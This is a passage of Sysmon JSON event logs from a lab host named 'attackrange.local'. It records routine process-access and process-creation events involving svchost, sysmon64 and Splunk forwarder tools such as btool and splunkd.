.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.039\r\nProcessGuid: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nProcessId: 3608\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-strptime --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00100E2D0300}\r\nParentProcessId: 3832\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.039","ProcessGuid":"{90617006-3FE7-5F2D-0000-0010B82D0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-strptime --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00100E2D0300}","ParentProcessId":"3832","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nSourceProcessId: 3832\r\nSourceThreadId: 3828\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nTargetProcessId: 3608\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","SourceProcessId":"3832","SourceThreadId":"3828","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","TargetProcessId":"3608","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nTargetProcessId: 3608\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","TargetProcessId":"3608","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windo